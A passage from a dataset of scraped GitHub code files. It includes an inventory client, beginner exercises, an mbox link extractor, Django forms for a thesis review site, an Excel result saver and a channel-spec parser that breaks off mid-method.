continuar...\")\n continue\n continue\n elif opcion == '0':\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"\n ==========USUARIOS==========\n Regresando...\n ==============================\n \"\"\")\n continue\n elif opcion == '4' and userType == 2:\n print(\"No tiene permisos para acceder a esta sección\")\n time.sleep(3)\n continue\n elif opcion == '4':\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"\n ===========OTROS===========\n Seleccione una opción:\n 1. Configurar alertas\n 2. Confirmar Despacho\n 3. Modo monitor stock\n 0. Regresar\n \"\"\")\n opcion = input(\"OPCION: \")\n if opcion == '1':\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"\n ===========OTROS===========\n Configurando alertas...\n ==============================\n \"\"\")\n idProd = input(\"Ingrese el id del producto: \")\n stockMin = input(\"Ingrese el stock minimo: \")\n datos = session_mail+\" \"+idProd + \" \" + stockMin\n aux = fill(len(datos+ 'alert'))\n msg = aux + 'alert' + datos\n print(\"mensaje enviado: \"+msg)\n server.sendall(bytes(msg,'utf-8'))\n recibido=server.recv(4096)\n if recibido.decode('utf-8').find('alert')!=-1:\n recibido=recibido[10:].decode('utf-8')\n if recibido == '1':\n print(\"Alerta configurada correctamente\")\n else:\n print(\"Error al configurar alerta\")\n time.sleep(3)\n continue\n elif opcion == '2':\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"\n ===========OTROS===========\n Confirmar Despacho...\n ==============================\n \"\"\")\n idDesp = input(\"Ingrese el id del despacho: \")\n persona = input(\"Ingrese el nombre de la persona que recibe: \")\n datos = session_mail+\" \"+idDesp + \" \" + persona\n aux = fill(len(datos+ 'conde'))\n msg = aux + 'conde' + datos\n print(\"mensaje enviado: \"+msg)\n server.sendall(bytes(msg,'utf-8'))\n recibido=server.recv(4096)\n if recibido.decode('utf-8').find('conde')!=-1:\n recibido=recibido[12:].decode('utf-8')\n if recibido == '1':\n print(\"Despacho confirmado correctamente\")\n time.sleep(3)\n continue\n elif recibido == '2':\n print(\"La persona que recibe no corresponde con la registrada en el despacho\\n\")\n decision = input(\"¿Desea confirmar el despacho de todas formas? (s/n): \")\n if decision == 's':\n datos = session_mail+\" \"+idDesp + \" \" + persona + \" 1\"\n aux = fill(len(datos+ 'conde'))\n msg = aux + 'conde' + datos\n #print(\"mensaje enviado: \"+msg)\n server.sendall(bytes(msg,'utf-8'))\n recibido=server.recv(4096)\n if recibido.decode('utf-8').find('conde')!=-1:\n recibido=recibido[12:].decode('utf-8')\n #print(recibido)\n if recibido == '1':\n print(\"Despacho confirmado correctamente\")\n time.sleep(3)\n continue\n else:\n print(\"Error al confirmar despacho\")\n time.sleep(3)\n continue\n else:\n print(\"Despacho no confirmado\")\n time.sleep(3)\n continue\n else:\n print(\"Error al confirmar despacho\")\n time.sleep(3)\n continue\n continue\n elif opcion == '3':\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"\n ===========OTROS===========\n Modo monitor stock...\n ==============================\n \"\"\")\n datos = \"monis \" + session_mail\n aux = fill(len(datos+ 'monis'))\n msg = aux + 'monis' + datos\n #print(\"mensaje enviado: \"+msg)\n server.sendall(bytes(msg,'utf-8'))\n recibido=server.recv(4096)\n if recibido.decode('utf-8').find('monis')!=-1:\n #si recibido no contiene la palabra \"off\" monitor = True\n if recibido.decode('utf-8').find('off')==-1:\n monitor = True\n while monitor:\n recibido = recibido[12:]\n if recibido.decode('utf-8') == '0':\n print(\"No hay productos registrados\")\n time.sleep(3)\n continue\n else:\n recibido = recibido.decode('utf-8').split(' ')\n #print(recibido)\n numProds = int(recibido[1])\n data = recibido[2]\n\n data_rows = re.split(\"/\", data)\n data_rows = [re.split(\"-\", row) for row in data_rows]\n while True:\n try:\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"Número de productos diferentes: \"+str(numProds)+\"\\n\")\n print(tabulate.tabulate(data_rows, headers=['ID', 'Nombre', 'Stock'], tablefmt='orgtbl'))\n print(\"\\nctrl+c para salir del modo monitor\")\n time.sleep(5)\n except KeyboardInterrupt:\n server.sendall(bytes(\"00010monisoff \"+ session_mail,'utf-8'))\n monitor = False\n break\n #print(\"Número de productos diferentes: \"+str(numProds)+\"\\n\")\n #print(tabulate.tabulate(data_rows, headers=['ID', 'Nombre', 'Stock'], tablefmt='orgtbl'))\n \n #sleep_thread = threading.Thread(target=sleep_thread)\n #exit_thread = threading.Thread(target=exit_thread)\n #sleep_thread.start()\n #exit_thread.start()\n\n #sleep_thread.join()\n #exit_thread.join()\n\n #server.sendall(bytes(\"00010monisoff \"+ session_mail,'utf-8'))\n #monitor = False\n continue\n break\n if recibido.decode('utf-8').find('monisoff')!=-1:\n monitor = False\n continue\n else:\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"\n ===========OTROS===========\n Regresando...\n ==============================\n \"\"\")\n continue\n \n elif opcion == '0':\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"\n ==========SALIENDO==========\n \"\"\")\n main_menu = False\n break\n \n else:\n print(\"Cerrando cliente...\")\n break\n\n\n","repo_name":"Tukzon/Inventario-SOA","sub_path":"proyecto/cliente.py","file_name":"cliente.py","file_ext":"py","file_size_in_byte":39827,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71577346452","text":"#!/usr/bin/env python3\n# Zadanie 4.11\n# Maksymalne tętno człowieka można oszacować korzystając z przybliżonego wyrażenia: HRmax=208−(0.7⋅A) gdzie:\n# HRmax - maksymalne tętno w uderzeniach na minutę\n# A - wiek w latach\n# (na podstawie: http://www.shapesense.com/fitness-exercise/calculators/heart-rate-based-calorie-burn-calculator.shtml)\n# Na podstawie powyższego równania wygeneruj dane wartości maksymalnego tętna w zależności od wieku. Pojedyńczy rekord powinien zawierać:\n# - numer porządkowy\n# - wiek\n# - tętno maksymalne\n# Dane zapisz do pliku z rozszerzeniem csv.\n\nimport csv\nimport os\n\n\ndef import_csv(csvfilename):\n data = []\n with open(csvfilename, \"r\") as f:\n reader = csv.reader(f, delimiter=';')\n for row in reader:\n columns = [row[0], row[1], row[2]]\n data.append(columns)\n return data\n\n\nMAX_HR_DB = os.path.join(os.getcwd(), '4', 'data', 'maxHRDB.4.11.csv')\n\nage = float(input(\"Podaj swój wiek: \"))\nHRmax = 208 - (0.7 * age)\n\ndata = import_csv(MAX_HR_DB)\nlast_row = data[-1][0]\nidx = int(data[-1][0]) + 1\ndata.append([idx, age, HRmax])\n\nwith open(MAX_HR_DB, 'w') as f:\n writer = csv.writer(f, delimiter=';')\n for row in data:\n writer.writerow(row)\n","repo_name":"gkk-dev-ops/py-beginner-exercises","sub_path":"Programing 101/4/4.11.py","file_name":"4.11.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6826250527","text":"from monster import Monster\n\n\nclass Boss(Monster):\n\n def __init__(self):\n super().__init__()\n self.name = 'Boss'\n self.max_health = 2 * self.level * super().rng() + super().rng()\n self.current_health = self.max_health\n self.def_point = self.level / 2 * super().rng() + super().rng() / 2\n self.strike_point = self.level * super().rng() + self.level\n","repo_name":"green-fox-academy/Komaxor","sub_path":"wanderer/project/boss.py","file_name":"boss.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"4160514405","text":"import mailbox\nfrom bs4 import BeautifulSoup\ndef getcharsets(msg):\n charsets = set({})\n for c in msg.get_charsets():\n if c is not None:\n charsets.update([c])\n return charsets\n\ndef handleerror(errmsg, emailmsg,cs):\n print()\n print(errmsg)\n print(\"This error occurred while decoding with \",cs,\" charset.\")\n print(\"These charsets were found in the one email.\",getcharsets(emailmsg))\n print(\"This is the subject:\",emailmsg['subject'])\n print(\"This is the sender:\",emailmsg['From'])\n\ndef getbodyfromemail(msg):\n body = None\n receiver = None\n #Walk through the parts of the email to find the text body.\n if msg.is_multipart():\n for part in msg.walk():\n # If part is multipart, walk through the subparts.\n if part.is_multipart():\n for subpart in part.walk():\n if subpart.get_content_type() == 'text/html':\n # Get the subpart payload (i.e the message body)\n body = subpart.get_payload(decode=True)\n receiver = msg['To']\n # charset = subpart.get_charset()\n\n # Part isn't multipart so get the email body\n elif part.get_content_type() == 'text/html':\n body = part.get_payload(decode=True)\n #charset = part.get_charset()\n\n # If this isn't a multi-part message then get the payload (i.e the message body)\n elif msg.get_content_type() == 'text/html':\n body = msg.get_payload(decode=True)\n\n # No checking done to match the charset with the correct part.\n for charset in getcharsets(msg):\n try:\n body = body.decode(charset)\n except UnicodeDecodeError:\n handleerror(\"UnicodeDecodeError: encountered.\",msg,charset)\n except AttributeError:\n handleerror(\"AttributeError: encountered\" ,msg,charset)\n return [body , receiver]\ndef CopyLink(email , path1):\n # path1 = r'C:\\Users\\Admin\\Documents\\38-KU-feb-aol-fix2073-2128\\38-KU-feb-aol-fix2073-2128\\data\\profile\\default\\Mail'\n path3 = r'\\Inbox'\n link = ''\n for i in range(70):\n try:\n folderName = ''\n if i == 0:\n folderName = '\\pop.mail.yahoo.com'\n else:\n folderName = '\\pop.mail.yahoo-{number}.com'.format(number=i)\n mboxfile = path1 + folderName + path3\n for thisemail in mailbox.mbox(mboxfile):\n [body , receiver] = getbodyfromemail(thisemail)\n parsed_html = BeautifulSoup(body)\n value = parsed_html.body.find_all(\"a\", string=\" Approve or Deny.\")\n if value:\n if receiver == email:\n link = value[len(value) - 1]['href']\n except:\n continue\n if link == '':\n return 0\n else:\n return link\n","repo_name":"NguyenCongVN/python","sub_path":"Selenium/EmailPartHandler.py","file_name":"EmailPartHandler.py","file_ext":"py","file_size_in_byte":2897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31610519799","text":"from django import forms\nfrom django.forms.widgets import DateTimeInput\nfrom django.shortcuts import get_object_or_404\nimport magic\n\nfrom ..registration.models import (\n Student, User,\n Mark,\n)\nfrom .models import (\n Logbook, StudentGroup,\n Batch,\n Document,\n Comment,\n ResearchField,\n)\n\n\nclass StudentGroupForm(forms.ModelForm):\n field = forms.ModelChoiceField(\n queryset=ResearchField.objects.all(),\n required=True,\n empty_label=None,\n )\n batch = forms.ModelChoiceField(\n queryset=Batch.objects.all(),\n empty_label=None,\n )\n first_choice = forms.ModelChoiceField(\n queryset=User.objects.filter(is_teacher=True),\n required=True,\n empty_label=None,\n )\n second_choice = forms.ModelChoiceField(\n queryset=User.objects.filter(is_teacher=True),\n required=False,\n )\n third_choice = forms.ModelChoiceField(\n queryset=User.objects.filter(is_teacher=True),\n required=False,\n )\n\n def __init__(self, user, *args, **kwargs) -> None:\n self.user = user\n return super().__init__(*args, **kwargs)\n\n def clean_student_list(self):\n student_list = self.cleaned_data['student_list']\n student_ids = student_list.split(\",\")\n errors = []\n for student_id in student_ids:\n processed_student_id = student_id.strip()\n student = User.objects.filter(username=processed_student_id)\n student_group = StudentGroup.objects.filter(\n student_list__contains=processed_student_id,\n )\n if (student.exists() and student.first().studentgroup) or student_group:\n errors.append(f'{student_id} already has a group.')\n if errors:\n raise forms.ValidationError(errors)\n return student_list\n\n def clean(self):\n cleaned_data = super().clean()\n first_choice = cleaned_data['first_choice']\n second_choice = cleaned_data.get('second_choice')\n third_choice = cleaned_data.get('third_choice')\n if second_choice is None and third_choice is not None:\n raise forms.ValidationError({\n 'second_choice': 'Must Select a second choice'\n })\n if first_choice == second_choice or first_choice == third_choice or (second_choice is not None and third_choice is not None and second_choice == third_choice):\n raise forms.ValidationError({\n 'first_choice': 'Choices must be different',\n 'second_choice': 'Choices must be different',\n 'third_choice': 'Choices must be different',\n })\n\n def save(self, commit=True):\n self.instance.department = self.user.department\n return super().save(commit=commit)\n\n class Meta:\n model = StudentGroup\n fields = (\n 'title',\n 'field',\n 'batch',\n 'student_list',\n 'first_choice',\n 'second_choice',\n 'third_choice',\n )\n\n\nclass StudentGroupJoinForm(forms.ModelForm):\n md5hash = forms.CharField(\n max_length=10,\n label='Group Code')\n\n class Meta:\n model = StudentGroup\n fields = ('md5hash', )\n\n def clean_md5hash(self):\n md5hash = self.cleaned_data.get('md5hash')\n if md5hash:\n g = StudentGroup.objects.filter(md5hash=md5hash).count()\n if g == 0:\n raise forms.ValidationError(\n 'The group with this code does not exist.'\n )\n return md5hash\n\n\nclass DocumentUploadForm(forms.ModelForm):\n class Meta:\n model = Document\n fields = ('file', 'document_type', )\n\n def clean_file(self):\n f = self.cleaned_data.get('file')\n\n for chunk in f.chunks():\n mime = magic.from_buffer(\n chunk, mime=True)\n if 'application/pdf' not in mime:\n raise forms.ValidationError(\n {'file': 'Invalid Format! PDF Only!'})\n break\n return f\n\n\nclass CommentCreateForm(forms.ModelForm):\n class Meta:\n model = Comment\n fields = ['content']\n\n\nclass BaseMarkFormSet(forms.BaseFormSet):\n def clean(self):\n \"\"\"Checks that no two mark has same student\"\"\"\n if any(self.errors):\n return\n students = set()\n for form in self.forms:\n student = form.cleaned_data.get('student_choice')\n if student in students:\n raise forms.ValidationError(\n \"Students must be different for each form\"\n )\n students.add(student)\n\n def save(self, commit=True):\n instances = []\n if self.is_valid():\n for form in self.forms:\n instances.append(form.save(commit=commit))\n return instances\n\n\nclass MarkForm(forms.ModelForm):\n student_choice = forms.ChoiceField(\n label=\"Student\",\n required=True,\n )\n mark = forms.IntegerField(\n label='Mark(Out of 100)',\n max_value=100,\n min_value=0,\n )\n\n class Meta:\n model = Mark\n fields = [\n 'student_choice',\n 'mark',\n 'remarks',\n ]\n\n def __init__(self, *args, user, studentgroup, **kwargs):\n self.user = user\n self.studentgroup = studentgroup\n super().__init__(*args, **kwargs)\n for visible in self.visible_fields():\n visible.field.widget.attrs['class'] = 'input'\n if visible.field.required:\n visible.field.widget.attrs['required'] = ''\n self.fields['student_choice'].choices = [\n (s.id, s) for s in studentgroup.students.all()\n ]\n\n def save(self, commit=True):\n student_id = self.cleaned_data.pop('student_choice')\n student = get_object_or_404(Student, pk=student_id)\n self.instance.graded_by = self.user\n self.instance.studentgroup = self.studentgroup\n self.instance.student = student\n self.instance.result = student.result\n return super().save(commit=commit)\n\n\nclass LogbookAdminForm(forms.ModelForm):\n class Meta:\n model = Logbook\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n if 'studentgroup' in self.initial:\n print(self.initial)\n self.fields['students_present'].queryset = User.objects.filter(\n studentgroup_id=self.initial['studentgroup'],\n )\n\n\nclass LogbookCreateForm(forms.ModelForm):\n time = forms.DateTimeField(input_formats=['%Y/%m/%d %H:%M'])\n\n class Meta:\n model = Logbook\n exclude = [\n 'id',\n 'studentgroup',\n 'approved',\n ]\n\n def __init__(self, *args, studentgroup, **kwargs):\n self.studentgroup = studentgroup\n super().__init__(*args, **kwargs)\n for visible in self.visible_fields():\n visible.field.widget.attrs['class'] = 'input'\n print(dir(visible.field.widget))\n if getattr(visible.field.widget, 'allow_multiple_selected', None):\n visible.field.widget.attrs['style'] = 'min-height: 75px;'\n if not getattr(visible.field.widget, 'input_type', None):\n visible.field.widget.attrs['style'] = 'min-height: 90px;'\n self.fields['time'].widget.attrs['id'] = 'date-time-input'\n self.fields['students_present'].choices = [\n (s.id, s) for s in studentgroup.students.all()\n ]\n\n def save(self, commit=True):\n # student_id = self.cleaned_data.pop('students_present')\n # student = get_object_or_404(Student, pk=student_id)\n self.instance.studentgroup = self.studentgroup\n return super().save(commit=commit)\n","repo_name":"shakib609/thesis-review-system","sub_path":"website/thesis/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":7843,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"11309095321","text":"import matplotlib.pyplot as plt\nfrom openpyxl.drawing.image import Image\nfrom openpyxl import Workbook, load_workbook\nimport torch\n\n#saving_path = \"C:\\\\Users\\\\Ido\\\\PycharmProjects\\\\metabolic_pathways\\\\simulator\\\\NN_correlation_matrix\\\\Results\\\\\"\nfrom simulator.NN_correlation_matrix.CN_Cluster import CN_Cluster\n\nsaving_path = \"Results/\"\nexcel_path = saving_path + \"result.xlsx\"\n\nclass ResultSaver:\n def __init__(self, minibatch_size, step, dataset_size, epochs, reactions_count):\n self.minibatch_size = minibatch_size\n self.step = step\n self.dataset_size = dataset_size\n self.epochs = epochs\n self.reactions_count = reactions_count\n wb = Workbook()\n wb.save(excel_path)\n\n def write_date_final_epoch(self, gan_structure, model_output, real_output, loss_list):\n wb = load_workbook(excel_path)\n sheet_name = gan_structure.get_name()\n filepath = saving_path + 'final_images\\\\' + sheet_name + '_final_image.png'\n color = \"YlGnBu\"\n cluster = CN_Cluster(color)\n size = 5\n\n # Create the matrix for yc result\n # plt.close()\n # plt.title('correlation matrix for model ' + gan_structure.get_name())\n # npimg = model_output.detach().cpu().numpy()\n # plt.imshow(npimg, cmap=color)\n # plt.savefig(filepath, dpi=50)\n title = 'correlation matrix for model ' + gan_structure.get_name()\n cluster.plot_corr(model_output.detach().cpu().numpy(), size, title, filepath)\n\n # Create the original matrix graph\n # plt.close()\n # plt.title('original matrix')\n # npimg = real_output.cpu().numpy()\n # plt.imshow(npimg, cmap=color) #Greys\n # plt.savefig(saving_path + 'original_matrix_images\\\\' + sheet_name + '.png', dpi=50)\n cluster.plot_corr(real_output.cpu().numpy(), size, 'original matrix', saving_path + 'original_matrix_images\\\\' + sheet_name + '.png')\n\n # plot the graph of epchos-MSE\n plt.close()\n plt.title(\"Epochs with MSE\")\n plt.plot(range(self.epochs), loss_list)\n plt.xlabel('Epochs')\n plt.ylabel('MSE loss')\n plt.savefig(saving_path + 'graphs\\\\' + sheet_name + '.png', dpi=50)\n\n # Add photos to excel sheet\n # Activate worksheet\n active = wb[sheet_name]\n\n # Insert plot into worksheet\n # Select active sheet and cell reference\n img = Image(filepath)\n active.add_image(img, 'I1')\n\n img_orginial_matrix = Image(saving_path + 'original_matrix_images\\\\' + sheet_name + '.png')\n active.add_image(img_orginial_matrix, 'N1')\n\n img_grraph = Image(saving_path + 'graphs\\\\' + sheet_name + '.png')\n active.add_image(img_grraph, 'I15')\n\n # Save workbook\n wb.save(excel_path)\n\n def write_data_epoch(self, gan_structure, loss, ploss, rloss, epoch, time):\n wb = load_workbook(excel_path)\n sheet_name = gan_structure.get_name()\n if epoch == 0:\n wb.create_sheet(sheet_name, 0)\n active = wb[sheet_name]\n line_append = [\"epoch\", \"time\", \"mse-loss\", \"ploss\", \"rloss\", \"minibatch_size\", \"learning rate\",\n \"dataset size\"]\n active.append(line_append)\n\n active = wb[sheet_name]\n line_append = [epoch, time, loss.item(), ploss, rloss, self.minibatch_size, self.step, self.dataset_size]\n active.append(line_append)\n\n # Save workbook to write\n wb.save(excel_path)\n\n def write_data_summary(self, structure_list):\n wb = load_workbook(excel_path)\n sheet_name = \"Summary\"\n wb.create_sheet(sheet_name, 0)\n active = wb[sheet_name]\n line_append = [\"model\", \"mse loss\"] # \"input error\", \"output error\"]\n for i in range(self.reactions_count):\n line_append.append(\"Reaction \" + str(i + 1) + \" input error\")\n line_append.append(\"Reaction \" + str(i + 1) + \" output error\")\n active.append(line_append)\n for structure in structure_list:\n in_err_dict, out_err_dict = structure.get_score()\n line_append = [structure.get_name(), structure.get_last_mse_loss()]\n #structure.get_last_mse_loss().detach().item()] # ,in_err + '%', out_err + '%']\n for i in range(self.reactions_count):\n in_err = in_err_dict[i]\n out_err = out_err_dict[i]\n line_append.append(in_err + '%')\n line_append.append(out_err + '%')\n active.append(line_append)\n\n wb.save(excel_path)\n\n def save_reactions(self, gan_structure):\n wb = load_workbook(excel_path)\n sheet_name = gan_structure.get_name()\n active = wb[sheet_name]\n\n # add original and predicted\n original_lst, predicted_lst = gan_structure.get_reactions_lists()\n active.append([\"\"]) # blank line\n active.append([\"original reactions: \", str(original_lst)])\n active.append([\"predicted reactions: \", str(predicted_lst)])\n\n wb.save(excel_path)\n\n def save_two_random(self, y1, y2, itreation, mse_loss):\n two_random_path = saving_path + \"\\\\result_random.xlsx\"\n sheet_name = str(itreation)\n if itreation == 0:\n wb = Workbook()\n wb.save(two_random_path)\n wb = load_workbook(two_random_path)\n wb.create_sheet(sheet_name, 0)\n color = \"YlGnBu\"\n size = 5\n cluster = CN_Cluster(color)\n\n # Create first matrix\n # plt.close()\n # plt.title('First Matrix')\n # npimg = y1.cpu().numpy()\n # plt.imshow(npimg, cmap=\"YlGnBu\") # YlGnBu\n # plt.savefig(saving_path + 'original_matrix_images\\\\' + sheet_name + '1.png', dpi=50)\n title = 'First Matrix'\n cluster.plot_corr(y1.cpu().numpy(), size, title, saving_path + 'original_matrix_images\\\\' + sheet_name + '1.png')\n\n # Create second matrix\n # plt.close()\n # plt.title('Second Matrix')\n # npimg = y2.cpu().numpy()\n # plt.imshow(npimg, cmap=\"YlGnBu\") # YlGnBu\n # plt.savefig(saving_path + 'original_matrix_images\\\\' + sheet_name + '2.png', dpi=50)\n title = 'Second Matrix'\n cluster.plot_corr(y2.cpu().numpy(), size, title, saving_path + 'original_matrix_images\\\\' + sheet_name + '2.png')\n\n # Add photos to excel sheet\n # Activate worksheet\n active = wb[sheet_name]\n active.append([mse_loss])\n\n # Insert plot into worksheet\n # Select active sheet and cell reference\n img = Image(saving_path + 'original_matrix_images\\\\' + sheet_name + '1.png')\n active.add_image(img, 'A3')\n\n img_second_matrix = Image(saving_path + 'original_matrix_images\\\\' + sheet_name + '2.png')\n active.add_image(img_second_matrix, 'F3')\n\n wb.save(two_random_path)\n\n def save_two_random_final_stats(self, m_count, reactions_count, avg, st_dev):\n two_random_path = saving_path + \"\\\\result_random.xlsx\"\n wb = load_workbook(two_random_path)\n sheet_name = \"stats\"\n wb.create_sheet(sheet_name, 0)\n active = wb[sheet_name]\n\n active.append([\"Metabolices count\", \"Reactions count\", \"Average mse loss\", \"St_dev\"])\n active.append([m_count, reactions_count, avg, st_dev])\n\n wb.save(two_random_path)\n\n def save_model(self, model, gan_structure):\n name = gan_structure.get_name()\n #torch.save(model.state_dict(), saving_path + \"\\\\Saved Models\\\\\" + name + \".pt\")\n torch.save(model, saving_path + \"\\\\Saved Models\\\\\" + name + \".pt\")\n","repo_name":"idanovadia/metabolic_pathways","sub_path":"simulator/NN_correlation_matrix/ResultSaver.py","file_name":"ResultSaver.py","file_ext":"py","file_size_in_byte":7592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33641222458","text":"\"\"\" \r\nJulian Esteban Forero\r\n07/12/2023\r\nEscriba un programa para mostrar la tabla de multiplicar de un entero dado.\r\n\"\"\"\r\nnum = int(input(\"ingrese la tabla ssque desea ver \"))\r\nfor i in range(1, 11):\r\n resul = i * num\r\n print(f\"{num} x {i} = {resul}\")\r\n ","repo_name":"jEsteban18/miniproyectos-","sub_path":"03-ciclos/05- multiplicar.py","file_name":"05- multiplicar.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19975371341","text":"\"\"\"\nDeprecated. Ported to kwcoco\n\"\"\"\nimport ubelt as ub\nimport six\nimport functools\n\n\nclass ChannelSpec(ub.NiceRepr):\n \"\"\"\n Parse and extract information about network input channel specs for\n early or late fusion networks.\n\n Notes:\n The pipe ('|') character represents an early-fused input stream, and\n order matters (it is non-communative).\n\n The comma (',') character separates different inputs streams/branches\n for a multi-stream/branch network which will be lated fused. Order does\n not matter\n\n TODO:\n - [ ] : normalize representations? e.g: rgb = r|g|b?\n - [ ] : rename to BandsSpec or SensorSpec?\n\n Example:\n >>> # Integer spec\n >>> ChannelSpec.coerce(3)\n <ChannelSpec(u0|u1|u2) ...>\n\n >>> # single mode spec\n >>> ChannelSpec.coerce('rgb')\n <ChannelSpec(rgb) ...>\n\n >>> # early fused input spec\n >>> ChannelSpec.coerce('rgb|disprity')\n <ChannelSpec(rgb|disprity) ...>\n\n >>> # late fused input spec\n >>> ChannelSpec.coerce('rgb,disprity')\n <ChannelSpec(rgb,disprity) ...>\n\n >>> # early and late fused input spec\n >>> ChannelSpec.coerce('rgb|ir,disprity')\n <ChannelSpec(rgb|ir,disprity) ...>\n\n Example:\n >>> from netharn.data.channel_spec import * # NOQA\n >>> self = ChannelSpec('gray')\n >>> print('self.info = {}'.format(ub.repr2(self.info, nl=1)))\n >>> self = ChannelSpec('rgb')\n >>> print('self.info = {}'.format(ub.repr2(self.info, nl=1)))\n >>> self = ChannelSpec('rgb|disparity')\n >>> print('self.info = {}'.format(ub.repr2(self.info, nl=1)))\n >>> self = ChannelSpec('rgb|disparity,disparity')\n >>> print('self.info = {}'.format(ub.repr2(self.info, nl=1)))\n >>> self = ChannelSpec('rgb,disparity,flowx|flowy')\n >>> print('self.info = {}'.format(ub.repr2(self.info, nl=1)))\n\n Example:\n >>> from netharn.data.channel_spec import * # NOQA\n >>> specs = [\n >>> 'rgb', # and rgb input\n >>> 'rgb|disprity', # rgb early fused with disparity\n >>> 'rgb,disprity', # rgb early late with disparity\n >>> 'rgb|ir,disprity', # rgb early fused with ir and late fused with disparity\n >>> 3, # 3 unknown channels\n >>> ]\n >>> for spec in specs:\n >>> print('=======================')\n >>> print('spec = {!r}'.format(spec))\n >>> #\n >>> self = ChannelSpec.coerce(spec)\n >>> print('self = {!r}'.format(self))\n >>> sizes = self.sizes()\n >>> print('sizes = {!r}'.format(sizes))\n >>> print('self.info = {}'.format(ub.repr2(self.info, nl=1)))\n >>> #\n >>> item = self._demo_item((1, 1), rng=0)\n >>> inputs = self.encode(item)\n >>> components = self.decode(inputs)\n >>> input_shapes = ub.map_vals(lambda x: x.shape, inputs)\n >>> component_shapes = ub.map_vals(lambda x: x.shape, components)\n >>> print('item = {}'.format(ub.repr2(item, precision=1)))\n >>> print('inputs = {}'.format(ub.repr2(inputs, precision=1)))\n >>> print('input_shapes = {}'.format(ub.repr2(input_shapes)))\n >>> print('components = {}'.format(ub.repr2(components, precision=1)))\n >>> print('component_shapes = {}'.format(ub.repr2(component_shapes, nl=1)))\n\n \"\"\"\n\n _known = {\n 'rgb': 'r|g|b'\n }\n\n _size_lut = {\n 'rgb': 3,\n }\n\n def __init__(self, spec):\n # TODO: allow integer specs\n self.spec = spec\n self._info = {}\n\n def __nice__(self):\n return self.spec\n\n def __json__(self):\n return self.spec\n\n def __contains__(self, key):\n \"\"\"\n Example:\n >>> 'disparity' in ChannelSpec('rgb,disparity,flowx|flowy')\n True\n >>> 'gray' in ChannelSpec('rgb,disparity,flowx|flowy')\n False\n \"\"\"\n return key in self.unique()\n\n @property\n def info(self):\n self._info = {\n 'spec': self.spec,\n 'parsed': self.parse(),\n 'unique': self.unique(),\n 'normed': self.normalize(),\n }\n return self._info\n\n @classmethod\n def coerce(cls, data):\n if isinstance(data, cls):\n self = data\n return self\n else:\n if isinstance(data, int):\n # we know the number of channels, but not their names\n spec = '|'.join(['u{}'.format(i) for i in range(data)])\n elif isinstance(data, six.string_types):\n spec = data\n else:\n raise TypeError(type(data))\n\n self = cls(spec)\n return self\n\n def parse(self):\n \"\"\"\n Build internal representation\n \"\"\"\n # commas break inputs into multiple streams\n stream_specs = self.spec.split(',')\n parsed = {ss: ss.split('|') for ss in stream_specs}\n return parsed\n\n def normalize(self):\n spec = self.spec\n stream_specs = spec.split(',')\n parsed = {ss: ss for ss in stream_specs}\n for k1 in parsed.keys():\n for k, v in self._known.items():\n parsed[k1] = parsed[k1].replace(k, v)\n parsed = {k: v.split('|') for k, v in parsed.items()}\n return parsed\n\n def keys(self):\n spec = self.spec\n stream_specs = spec.split(',')\n for spec in stream_specs:\n yield spec\n\n def streams(self):\n \"\"\"\n Breaks this spec up into one spec for each early-fused input stream\n \"\"\"\n streams = [self.__class__(spec) for spec in self.keys()]\n return streams\n\n def difference(self, other):\n \"\"\"\n Set difference\n\n Example:\n >>> self = ChannelSpec('rgb|disparity,flowx|flowy')\n >>> other = ChannelSpec('rgb')\n >>> self.difference(other)\n >>> other = ChannelSpec('flowx')\n >>> self.difference(other)\n \"\"\"\n assert len(list(other.keys())) == 1, 'can take diff with one stream'\n other_norm = ub.oset(ub.peek(other.normalize().values()))\n self_norm = self.normalize()\n\n new_streams = []\n for key, parts in self_norm.items():\n new_parts = ub.oset(parts) - ub.oset(other_norm)\n # shrink the representation of a complex r|g|b to an alias if\n # possible.\n # TODO: make this more efficient\n for alias, alias_spec in self._known.items():\n alias_parts = ub.oset(alias_spec.split('|'))\n index = subsequence_index(new_parts, alias_parts)\n if index is not None:\n oset_delitem(new_parts, index)\n oset_insert(new_parts, index.start, alias)\n new_stream = '|'.join(new_parts)\n new_streams.append(new_stream)\n new_spec = ','.join(new_streams)\n new = self.__class__(new_spec)\n return new\n\n def sizes(self):\n \"\"\"\n Number of dimensions for each fused stream channel\n\n IE: The EARLY-FUSED channel sizes\n\n Example:\n >>> self = ChannelSpec('rgb|disparity,flowx|flowy')\n >>> self.sizes()\n \"\"\"\n sizes = {\n key: sum(self._size_lut.get(part, 1) for part in vals)\n for key, vals in self.parse().items()\n }\n return sizes\n\n def unique(self):\n \"\"\"\n Returns the unique channels that will need to be given or loaded\n \"\"\"\n return set(ub.flatten(self.parse().values()))\n\n def _item_shapes(self, dims):\n \"\"\"\n Expected shape for an input item\n\n Args:\n dims (Tuple[int, int]): the spatial dimension\n\n Returns:\n Dict[int, tuple]\n \"\"\"\n item_shapes = {}\n parsed = self.parse()\n # normed = self.normalize()\n fused_keys = list(self.keys())\n for fused_key in fused_keys:\n components = parsed[fused_key]\n for mode_key in components:\n c = self._size_lut.get(mode_key, 1)\n shape = (c,) + tuple(dims)\n 